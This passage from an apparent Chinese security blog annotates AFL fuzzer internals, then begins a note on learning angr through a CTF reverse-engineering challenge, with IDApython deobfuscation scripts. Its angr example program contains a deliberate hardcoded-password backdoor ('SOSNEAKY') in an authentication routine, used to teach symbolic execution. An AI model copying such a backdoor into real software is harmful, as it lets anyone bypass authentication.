&#123;</span><br><span class="line">          mark_as_variable(q);</span><br><span class="line">          queued_variable++;</span><br><span class="line">        &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  stage_name = old_sn;</span><br><span class="line">  stage_cur  = old_sc;</span><br><span class="line">  stage_max  = old_sm;</span><br><span class="line">  <span class="keyword">if</span> (!first_run) show_stats();</span><br><span class="line">  <span class="keyword">return</span> fault;</span><br></pre></td></tr></table></figure>



<h3 id="init-forkserver"><a href="#init-forkserver" class="headerlink" title="init_forkserver"></a>init_forkserver</h3><p><code>calibrate_case</code>中的函数，<code>init_forkserver</code>的代码不难懂建议直接看，又因为比较长这里就不写太多了，主要就是打开了两个pipe（一个用于forkserver发送状态、一个用于fuzzer发送命令，管道描述符分别设置值为198和199，对应之前的<code>afl_maybe_log</code>）之后fork出一个fuzzer子进程并setsid，把子进程的stdout、stderr全关、做了一些设置之后用execv替换成目标文件的进程映象，正式成为供fuzzer控制的forkserver。对于这个结构师傅们给出了图，对应的操作点一边是前面的afl-as.h分析中可以看到，还有一边在fuzzer中的run_target函数(下文分析)</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203145002.png" alt="image-20210203145001" style="zoom:80%;">

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203145001.png" alt="QQ图片20210203145001" style="zoom:80%;">

<h3 id="run-target"><a href="#run-target" class="headerlink" title="run_target"></a>run_target</h3><p>这里截取了forkserver模式的部分代码用注释的方法分析</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Execute target application, monitoring for timeouts. Return status</span></span><br><span class="line"><span class="comment">   information. The called program will update trace_bits[]. */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> u8 <span class="title">run_target</span><span class="params">(<span class="keyword">char</span>** argv, u32 timeout)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">itimerval</span> <span class="title">it</span>;</span><span class="comment">//设置判断超时用</span></span><br><span class="line">  <span class="keyword">static</span> u32 prev_timed_out = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">int</span> status = <span class="number">0</span>;</span><br><span class="line">  u32 tb4;</span><br><span class="line">  child_timed_out = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* After this memset, trace_bits[] are effectively volatile, so we</span></span><br><span class="line"><span class="comment">     must prevent any earlier operations from venturing into that</span></span><br><span class="line"><span class="comment">     territory. */</span></span><br><span class="line">  <span class="built_in">memset</span>(trace_bits, <span class="number">0</span>, MAP_SIZE);<span class="comment">//每次runtarget都会将bitmap置零</span></span><br><span class="line">  MEM_BARRIER();<span class="comment">//保护内存用</span></span><br><span class="line">    </span><br><span class="line">    s32 res;</span><br><span class="line">    <span class="comment">/* In non-dumb mode, we have the fork server up and running, so simply</span></span><br><span class="line"><span class="comment">       tell it to have at it, and then read back PID. */</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">//下文的write和read是发送命令接收状态的具体位置</span></span><br><span class="line">    <span class="keyword">if</span> ((res = <span class="built_in">write</span>(fsrv_ctl_fd, &amp;prev_timed_out, <span class="number">4</span>)) != <span class="number">4</span>) <span class="comment">//4B trigger forkserver，这里对应前面的hello message，正式启动,prev_time_out在这里是啥东西应该无所谓</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">      RPFATAL(res, <span class="string">"Unable to request new process from fork server (OOM?)"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ((res = <span class="built_in">read</span>(fsrv_st_fd, &amp;child_pid, <span class="number">4</span>)) != <span class="number">4</span>) <span class="comment">//get the child's PID by the fork of forkserver</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">      RPFATAL(res, <span class="string">"Unable to request new process from fork server (OOM?)"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (child_pid &lt;= <span class="number">0</span>) FATAL(<span class="string">"Fork server is misbehaving (OOM?)"</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* Configure timeout, as requested by user, then wait for child to terminate. */</span></span><br><span class="line">  it.it_value.tv_sec = (timeout / <span class="number">1000</span>);</span><br><span class="line">  it.it_value.tv_usec = (timeout % <span class="number">1000</span>) * <span class="number">1000</span>;</span><br><span class="line">  setitimer(ITIMER_REAL, &amp;it, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* The SIGALRM handler simply kills the child_pid and sets child_timed_out. */</span></span><br><span class="line">    s32 res;</span><br><span class="line">    <span class="keyword">if</span> ((res = <span class="built_in">read</span>(fsrv_st_fd, &amp;status, <span class="number">4</span>)) != <span class="number">4</span>)<span class="comment">//这里调用read应该会阻塞，因为这个statu得等子进程退出或者出错啥的</span></span><br><span class="line">     <span class="comment">//此时forkserver还在waitpid，forkserver一旦接收到子进程的信号量就发statu到fuzzer这里</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (stop_soon) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">      RPFATAL(res, <span class="string">"Unable to communicate with fork server (OOM?)"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!WIFSTOPPED(status)) child_pid = <span class="number">0</span>;<span class="comment">//已经停止了就将child_pid置零，防止在执行这几行代码时记录成time_out</span></span><br><span class="line">  it.it_value.tv_sec = <span class="number">0</span>;</span><br><span class="line">  it.it_value.tv_usec = <span class="number">0</span>;</span><br><span class="line">  setitimer(ITIMER_REAL, &amp;it, <span class="literal">NULL</span>);<span class="comment">//这里都是0的话就是取消计时器</span></span><br><span class="line"></span><br><span class="line">  total_execs++;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* Any subsequent operations on trace_bits must not be moved by the</span></span><br><span class="line"><span class="comment">     compiler below this point. Past this location, trace_bits[] behave</span></span><br><span class="line"><span class="comment">     very normally and do not have to be treated as volatile. */</span></span><br><span class="line">  MEM_BARRIER();</span><br><span class="line"></span><br><span class="line">  tb4 = *(u32*)trace_bits;</span><br><span class="line"></span><br><span class="line">  classify_counts((u32*)trace_bits);<span class="comment">//对trace_bits中的次数进行分类、重写</span></span><br><span class="line">    <span class="comment">//这里比较重要，第一次分析的时候没注意在run_target分类之后bitmap中每个字节只有9种状态，在前面calibrate_case里面有一个has_new_bits一直没看懂细节</span></span><br><span class="line"></span><br><span class="line">  prev_timed_out = child_timed_out;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*Report outcome to caller. 下面都是判断测试用例退出类型*/</span></span><br><span class="line">  <span class="keyword">if</span> (WIFSIGNALED(status) &amp;&amp; !stop_soon) &#123;</span><br><span class="line">    kill_signal = WTERMSIG(status);</span><br><span class="line">    <span class="keyword">if</span> (child_timed_out &amp;&amp; kill_signal == SIGKILL) <span class="keyword">return</span> FAULT_TMOUT;</span><br><span class="line">    <span class="keyword">return</span> FAULT_CRASH;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* A somewhat nasty hack for MSAN, which doesn't support abort_on_error and</span></span><br><span class="line"><span class="comment">     must use a special exit code. */</span></span><br><span class="line">  <span class="keyword">if</span> (uses_asan &amp;&amp; WEXITSTATUS(status) == MSAN_ERROR)</span><br><span class="line">  &#123;</span><br><span class="line">    kill_signal = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span> FAULT_CRASH;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> FAULT_NONE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="main-part2"><a href="#main-part2" class="headerlink" title="main(part2)"></a>main(part2)</h3><p>fuzzer的第二部分，部分删减，虽然说前面分析跑测试用例的部分已经把fuzzer原理缕了很多，但是这里开始才是变异的核心部分，有些可以参考sakura的<a href="https://www.anquanke.com/post/id/213432" target="_blank" rel="noopener">这篇文章</a>，可能写的更详细或者侧重点不同啥的</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">  cull_queue();<span class="comment">//用于精简提供的测试用例，算法在文章最开始提到的文章里面有写，是一个贪心策略，这里面的标记都是用的单个bit，用到了前面的minibitmap</span></span><br><span class="line">  show_init_stats();</span><br><span class="line">  seek_to = find_start_position();<span class="comment">//resume时用，正常状态为0</span></span><br><span class="line"></span><br><span class="line">  write_stats_file(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  save_auto();</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (stop_soon) <span class="keyword">goto</span> stop_fuzzing;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">    u8 skipped_fuzz;</span><br><span class="line">    cull_queue();</span><br><span class="line">    <span class="keyword">if</span> (!queue_cur) &#123;<span class="comment">//queue_cur用来判断是否执行完一轮，当然初始进来的时候应该是默认为null</span></span><br><span class="line">      queue_cycle++;<span class="comment">//整个队列循环的次数</span></span><br><span class="line">      current_entry     = <span class="number">0</span>;<span class="comment">//这个好像就是指第几个测试用例</span></span><br><span class="line">      cur_skipped_paths = <span class="number">0</span>;<span class="comment">//</span></span><br><span class="line">      queue_cur         = <span class="built_in">queue</span>;</span><br><span class="line">        </span><br><span class="line">      show_stats();</span><br><span class="line">      <span class="comment">/* If we had a full queue cycle with no new finds, try</span></span><br><span class="line"><span class="comment">         recombination strategies next. */</span></span><br><span class="line">      <span class="keyword">if</span> (queued_paths == prev_queued) <span class="comment">//queue里的case数是否未变化</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> (use_splicing) cycles_wo_finds++; <span class="comment">//开启拼接时cycles_wo_finds++</span></span><br><span class="line">        <span class="keyword">else</span> use_splicing = <span class="number">1</span>;<span class="comment">//否则开启拼接</span></span><br><span class="line">      &#125; </span><br><span class="line">      <span class="keyword">else</span> cycles_wo_finds = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">      prev_queued = queued_paths;</span><br><span class="line">      <span class="keyword">if</span> (sync_id &amp;&amp; queue_cycle == <span class="number">1</span> &amp;&amp; getenv(<span class="string">"AFL_IMPORT_FIRST"</span>))<span class="comment">//这里是synchronize fuzz用的</span></span><br><span class="line">        sync_fuzzers(use_argv);</span><br><span class="line">    &#125;</span><br><span class="line">    skipped_fuzz = fuzz_one(use_argv);<span class="comment">//关键函数，fuzz_one对当前queue进行一次完整测试，也是目前最长的一个函数，大约有1500行</span></span><br><span class="line">      </span><br><span class="line">    <span class="keyword">if</span> (!stop_soon &amp;&amp; sync_id &amp;&amp; !skipped_fuzz) &#123;</span><br><span class="line">      <span class="keyword">if</span> (!(sync_interval_cnt++ % SYNC_INTERVAL))</span><br><span class="line">        sync_fuzzers(use_argv);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!stop_soon &amp;&amp; exit_1) stop_soon = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> (stop_soon) <span class="keyword">break</span>;</span><br><span class="line">    queue_cur = queue_cur-&gt;next;</span><br><span class="line">    current_entry++;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (queue_cur) show_stats();</span><br><span class="line">  write_bitmap();</span><br><span class="line">  write_stats_file(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  save_auto();</span><br><span class="line"></span><br><span class="line">stop_fuzzing:</span><br><span class="line">  SAYF(CURSOR_SHOW cLRD <span class="string">"\n\n+++ Testing aborted %s +++\n"</span> cRST,</span><br><span class="line">       stop_soon == <span class="number">2</span> ? <span class="string">"programmatically"</span> : <span class="string">"by user"</span>);</span><br><span class="line">  <span class="comment">/* Running for more than 30 minutes but still doing first cycle? */</span></span><br><span class="line">  <span class="keyword">if</span> (queue_cycle == <span class="number">1</span> &amp;&amp; get_cur_time() - start_time &gt; <span class="number">30</span> * <span class="number">60</span> * <span class="number">1000</span>) &#123;</span><br><span class="line">    SAYF(<span class="string">"\n"</span> cYEL <span class="string">"[!] "</span> cRST</span><br><span class="line">           <span class="string">"Stopped during the first cycle, results may be incomplete.\n"</span></span><br><span class="line">           <span class="string">"    (For info on resuming, see %s/README.)\n"</span>, doc_path);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  fclose(plot_file);</span><br><span class="line">  destroy_queue();</span><br><span class="line">  destroy_extras();</span><br><span class="line">  ck_free(target_path);</span><br><span class="line">  ck_free(sync_id);</span><br><span class="line">  alloc_report();</span><br><span class="line">  OKF(<span class="string">"We're done here. Have a nice day!\n"</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br></pre></td></tr></table></figure>

<h3 id="fuzz-one"><a href="#fuzz-one" class="headerlink" title="fuzz_one"></a>fuzz_one</h3><p>先看一下他的跳过策略</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (pending_favored) </span><br><span class="line">&#123;</span><br><span class="line">       <span class="comment">/* If we have any favored, non-fuzzed new arrivals in the queue,</span></span><br><span class="line"><span class="comment">          possibly skip to them at the expense of already-fuzzed or non-favored</span></span><br><span class="line"><span class="comment">          cases. */</span></span><br><span class="line">       <span class="keyword">if</span> ((queue_cur-&gt;was_fuzzed || !queue_cur-&gt;favored) &amp;&amp; UR(<span class="number">100</span>) &lt; SKIP_TO_NEW_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    	<span class="comment">//这里不满足favored或者non-fuzzed的话跳过概率是99%</span></span><br><span class="line"> &#125; </span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (!dumb_mode &amp;&amp; !queue_cur-&gt;favored &amp;&amp; queued_paths &gt; <span class="number">10</span>) </span><br><span class="line"> &#123;</span><br><span class="line">       <span class="comment">/* Otherwise, still possibly skip non-favored cases, albeit less often.</span></span><br><span class="line"><span class="comment">          The odds of skipping stuff are higher for already-fuzzed inputs and</span></span><br><span class="line"><span class="comment">          lower for never-fuzzed entries. */</span></span><br><span class="line">       <span class="keyword">if</span> (queue_cycle &gt; <span class="number">1</span> &amp;&amp; !queue_cur-&gt;was_fuzzed) </span><br><span class="line">       &#123;</span><br><span class="line">             <span class="keyword">if</span> (UR(<span class="number">100</span>) &lt; SKIP_NFAV_NEW_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">             <span class="comment">//queue_cycle大于1且没有被fuzz过，跳过概率是75%</span></span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">else</span> </span><br><span class="line">       &#123;</span><br><span class="line">             <span class="keyword">if</span> (UR(<span class="number">100</span>) &lt; SKIP_NFAV_OLD_PROB) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">             <span class="comment">//fuzzed&amp;&amp;no-favored，有90%概率跳过</span></span><br><span class="line">       &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>

<p>进入fuzz流程的话，就先将case map到内存</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">fd = <span class="built_in">open</span>(queue_cur-&gt;fname, O_RDONLY);</span><br><span class="line">len = queue_cur-&gt;len;</span><br><span class="line">orig_in = in_buf = mmap(<span class="number">0</span>, len, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, <span class="number">0</span>);<span class="comment">//MAP_PRIVATE在内存对文件的修改不会影响文件本身</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">close</span>(fd);</span><br></pre></td></tr></table></figure>

<p>然后有一个<code>CALIBRATION</code>阶段和<code>TRIMMING</code>阶段，前者是在之前<code>proform_dry_run</code>中如果校准失败就再次校准，后者主要是为了修剪文件长度啥的，如果修剪文件对执行路径没有影响就<code>make it permanent</code>，优化后续运行</p>
<p>之后是一个<code>PERFORMANCE SCORE</code>阶段为该case计分，影响后续的havoc stage</p>
<p>到这里就是主要的变异策略了，推荐<a href="https://paper.seebug.org/496/#part-2afl" target="_blank" rel="noopener">直接看文章吧</a>，后面节约时间我就先不写了，以后自己要写变异策略的时候再参考吧</p>
]]></content>
      <tags>
        <tag>source code</tag>
      </tags>
  </entry>
  <entry>
    <title>angr学习</title>
    <url>/2020/04/01/angr%E5%AD%A6%E4%B9%A0/</url>
    <content><![CDATA[<h1 id="自己学校新生杯一道逆向题引导的angr学习"><a href="#自己学校新生杯一道逆向题引导的angr学习" class="headerlink" title="自己学校新生杯一道逆向题引导的angr学习"></a>自己学校新生杯一道逆向题引导的angr学习</h1><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>上学期在图书馆研究室偶然提到了自己协会办比赛可以给学弟学妹们拿学分的想法，我当时的想法是办可以办，就是题目可能得非常简单他们才能写，嘛不过事实确实是这样。可是有外校师傅一起加入之后就变的很活跃了，室友请了启奡师傅还有福州大学的师傅来出题，自己也在二进制方向放了一波签到题，举行了一次面向大一大二的新生杯，也拉了一些外校的师傅来打，整体办的还是蛮成功的，室友看上去也挺开心，这里专门用启奡师傅给的逆向来记一篇一直没有接触的angr的学习</p>
<h1 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h1><p>看来以后写博客得把题目链接也给上了，所以去github新建了一个用来放题目的仓库，<a href="https://github.com/Coldshield/CTF-Challenges/raw/master/ReverseLearning/funnyre" target="_blank" rel="noopener">题目链接</a></p>
<p>拿到题目之后首先用IDA脚本去花指令，这里用的是IDApython</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ads = <span class="number">0x4005B0</span></span><br><span class="line"></span><br><span class="line">end = <span class="number">0x401DC0</span></span><br><span class="line"></span><br><span class="line">codes = get_bytes(ads, end-ads)</span><br><span class="line"></span><br><span class="line">codes = codes.replace(<span class="string">"\x74\x03\x75\x01\xe8\x90"</span>, <span class="string">"\x90\x90\x90\x90\x90\x90"</span>)</span><br><span class="line"></span><br><span class="line">patch_bytes(ads, codes)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"[+] patch ok"</span></span><br></pre></td></tr></table></figure>

<p>得到函数之后可以发现是一个很长的线性执行流程，直接手动把整个流程一步步过肯定很麻烦了，当然要自己写脚本来简化</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1585656430766.png" alt="1585656430766"></p>
<p>出题人wp写的思路是：</p>
<ol>
<li>简单花指令的去除</li>
<li>在有限域上运算的简化</li>
</ol>
<p>ps：在逆向的时候突然发现原来IDA可以按<code>=</code>映射变量，噗，我尼玛玩了这么久的IDA居然才知道</p>
<h1 id="第一种解法：IDApython"><a href="#第一种解法：IDApython" class="headerlink" title="第一种解法：IDApython"></a>第一种解法：IDApython</h1><p>其中一种解题方法是用IDApython来解，这里也学习了一些IDApython脚本的用法，具体脚本如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">trans</span><span class="params">(xx, kk)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> [(x-kk) &amp; <span class="number">0xFF</span> <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">xor</span><span class="params">(xx, kk)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> [x^kk <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">not_</span><span class="params">(xx)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> [~x <span class="keyword">for</span> x <span class="keyword">in</span> xx]</span><br><span class="line"></span><br><span class="line">dt = [<span class="number">0xd9</span>, <span class="number">0x2c</span>, <span class="number">0x27</span>, <span class="number">0xd6</span>, <span class="number">0xd8</span>, <span class="number">0x2a</span>, <span class="number">0xda</span>, <span class="number">0x2d</span>, <span class="number">0xd7</span>, <span class="number">0x2c</span>, <span class="number">0xdc</span>, <span class="number">0xe1</span>, <span class="number">0xdb</span>, <span class="number">0x2c</span>, <span class="number">0xd9</span>, <span class="number">0xdd</span>, <span class="number">0x27</span>, <span class="number">0x2d</span>, <span class="number">0x2a</span>, <span class="number">0xdc</span>, <span class="number">0xdb</span>, <span class="number">0x2c</span>, <span class="number">0xe1</span>, <span class="number">0x29</span>, <span class="number">0xda</span>, <span class="number">0xda</span>, <span class="number">0x2c</span>, <span class="number">0xda</span>, <span class="number">0x2a</span>, <span class="number">0xd9</span>, <span class="number">0x29</span>, <span class="number">0x2a</span>]</span><br><span class="line"></span><br><span class="line">ads = <span class="number">0x4005B0</span></span><br><span class="line">end = <span class="number">0x401DC0</span></span><br><span class="line">i = PrevHead(end)</span><br><span class="line"><span class="keyword">while</span> i &gt; ads:  <span class="comment">#获取不同的指令以及指令的操作数来进行求解</span></span><br><span class="line">    <span class="keyword">if</span> GetMnem(i) == <span class="string">'xor'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line">        k = int(GetOpnd(i, <span class="number">1</span>).rstrip(<span class="string">'h'</span>), <span class="number">16</span>)</span><br><span class="line">        dt = xor(dt, k)</span><br><span class="line">        print(<span class="string">"xor: &#123;&#125;"</span>.format(k))</span><br><span class="line">    <span class="keyword">if</span> GetMnem(i) == <span class="string">'add'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line">        k = int(GetOpnd(i, <span class="number">1</span>).rstrip(<span class="string">'h'</span>), <span class="number">16</span>)</span><br><span class="line">        dt = trans(dt, k)</span><br><span class="line">        print(<span class="string">"trans: &#123;&#125;"</span>.format(k))</span><br><span class="line">    <span class="keyword">if</span> GetMnem(i) == <span class="string">'not'</span> <span class="keyword">and</span> GetOpnd(i, <span class="number">0</span>) == <span class="string">'byte ptr [rdx+rax+5]'</span>:</span><br><span class="line">        dt = not_(dt)</span><br><span class="line">        print(<span class="string">"not: &#123;&#125;"</span>.format(k))</span><br><span class="line">    i = PrevHead(i)</span><br><span class="line"></span><br><span class="line">print(dt)</span><br></pre></td></tr></table></figure>

<h1 id="第二种解法：angr"><a href="#第二种解法：angr" class="headerlink" title="第二种解法：angr"></a>第二种解法：angr</h1><p>当然我这这篇文章主要要说的就是第二种解法了：angr求解</p>
<h2 id="What-is-angr"><a href="#What-is-angr" class="headerlink" title="What is angr"></a>What is angr</h2><p>首先angr是一个什么东西呢</p>
<p>angr is a suite of Python 3 libraries that let you load a binary and do a lot of cool things to it:</p>
<p>(angr是一个套用来加载二进制文件做一些很酷的事情的python3库)</p>
<p>具体可以用来做以下的一些事（虽然不知道大佬们把这些翻译成什么中文了，大致看看先）</p>
<ul>
<li>Disassembly and intermediate-representation lifting</li>
<li>Program instrumentation</li>
<li>Symbolic execution</li>
<li>Control-flow analysis</li>
<li>Data-dependency analysis</li>
<li>Value-set analysis (VSA)</li>
<li>Decompilation</li>
</ul>
<p>在使用之前强烈建议多了解一下符号执行的概念，要不然官方文档中很多英文还有概念可能会看不懂，特别是那些带数学符号的概念名词，不过细心一点看不会很难懂的。但是毕竟有些词语有些学术化，我也懒得用那么多俗语来解释了，下文只在一些重要地方做一些注释</p>
<p>例如：<a href="https://blog.csdn.net/omnispace/article/details/80248252" target="_blank" rel="noopener">这篇文章</a></p>
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>安装环境：Ubuntu16.04</p>
<ol>
<li>安装之前首先把自己默认的python3.5换成了python 3.7.1(编译安装)</li>
<li><code>sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper</code></li>
<li><code>mkvirtualenv --python=$(which python3) angr &amp;&amp; pip install angr</code></li>
</ol>
<p>其中virtualenvwrapper是一个Python虚拟环境，使用虚拟环境的主要原因是angr会修改libz3和libVEX</p>
<p>创建虚拟环境之后每次使用<code>workon</code>和<code>deactivate</code>即可在真实与虚拟环境切换</p>
<h3 id="使用-amp-examples"><a href="#使用-amp-examples" class="headerlink" title="使用&amp;examples"></a>使用&amp;examples</h3><p>这里用一个简单的例子来开始直接上手学习angr吧</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="keyword">char</span> *sneaky = <span class="string">"SOSNEAKY"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">authenticate</span><span class="params">(<span class="keyword">char</span> *username, <span class="keyword">char</span> *password)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> stored_pw[<span class="number">9</span>];</span><br><span class="line">    stored_pw[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">int</span> pwfile;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// evil back d00r</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strcmp</span>(password, sneaky) == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    pwfile = <span class="built_in">open</span>(username, O_RDONLY);</span><br><span class="line">    <span class="built_in">read</span>(pwfile, stored_pw, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strcmp</span>(password, stored_pw) == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">accepted</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Welcome to the admin console, trusted user!\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">rejected</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Go away!"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> username[<span class="number">9</span>];</span><br><span class="line">    <span class="keyword">char</span> password[<span class="number">9</span>];</span><br><span class="line">    <span class="keyword">int</span> authed;</span><br><span class="line"></span><br><span class="line">    username[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line">    password[<span class="number">8</span>] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Username: \n"</span>);</span><br><span class="line">    <span class="built_in">read</span>(<span class="number">0</span>, username, <span class="number">8</span>);</span><br><span class="line">    <span class="built_in">read</span>(<span class="number">0</span>, &amp;authed, <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Password: \n"</span>);</span><br><span class="line">    <span class="built_in">read</span>(<span class="number">0</span>, password, <span class="number">8</span>);</span><br><span class="line">    <span class="built_in">read</span>(<span class="number">0</span>, &amp;authed, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    authed = authenticate(username, password);</span><br><span class="line">    <span class="keyword">if</span> (authed) accepted();</span><br><span class="line">    <span class="keyword">else</span> rejected();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这里程序给出了一个很简单的逻辑，具体是我们只要输入<code>password</code>为<code>&quot;SOSNEAKY&quot;</code>就可以直接认证通过</p>
<p>然后这里是angr官网给出的<a href="https://github.com/angr/angr-doc/blob/master/examples/fauxware/solve.py" target="_blank" rel="noopener">solve.py</a>，我在其中注释处做了一些补充笔记</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> angr</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="comment"># Look at fauxware.c! This is the source code for a "faux firmware" (@zardus</span></span><br><span class="line"><span class="comment"># really likes the puns) that's meant to be a simple representation of a</span></span><br><span class="line"><span class="comment"># firmware that can authenticate users but also has a backdoor - the backdoor</span></span><br><span class="line"><span class="comment"># is that anybody who provides the string "SOSNEAKY" as their password will be</span></span><br><span class="line"><span class="comment"># automatically authenticated.</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">basic_symbolic_execution</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="comment"># We can use this as a basic demonstration of using angr for symbolic</span></span><br><span class="line">    <span class="comment"># execution. First, we load the binary into an angr project.</span></span><br><span class="line">    <span class="comment"># 这里先展示了一个很基础的符号执行，首先把对应的binary文件名填进一个angr Project</span></span><br><span class="line">    p = angr.Project(<span class="string">'eg1'</span>,load_options=&#123;<span class="string">"auto_load_libs"</span>: <span 